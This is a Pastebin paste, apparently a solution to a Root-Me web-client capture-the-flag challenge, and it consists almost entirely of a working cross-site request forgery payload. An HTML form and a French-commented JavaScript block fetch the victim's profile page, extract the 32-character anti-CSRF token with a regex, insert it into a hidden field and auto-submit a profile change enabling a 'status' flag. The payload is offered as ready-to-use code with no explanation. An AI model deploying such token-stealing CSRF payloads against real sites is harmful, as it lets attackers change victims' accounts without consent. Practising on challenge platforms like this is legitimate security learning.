Advertisement
Guest User

Untitled

a guest
Jan 27th, 2020
146
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.99 KB | None | 0 0
  1. <form action="http://challenge01.root-me.org/web-client/ch23/?action=profile" method="post" name="csrf_form" enctype="multipart/form-data">
  2. <input id="username" type="text" name="username" value="ahmed">
  3. <input id="status" type="checkbox" name="status" checked >
  4. <input id="token" type="hidden" name="token" value="" />
  5. <button type="submit">Submit</button>
  6. </form>
  7.  
  8. <script>
  9.  
  10. xhttp = new XMLHttpRequest();
  11. xhttp.open("GET", "http://challenge01.root-me.org/web-client/ch23/?action=profile", false);
  12. xhttp.send();
  13.  
  14. // extraction du token
  15. token_admin = (xhttp.responseText.match(/[abcdef0123456789]{32}/));
  16.  
  17. // insertion du token dans notre formulaire
  18. document.getElementById('token').setAttribute('value', token_admin)
  19.  
  20. // envoi du formulaire
  21. document.csrf_form.submit();
  22. </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement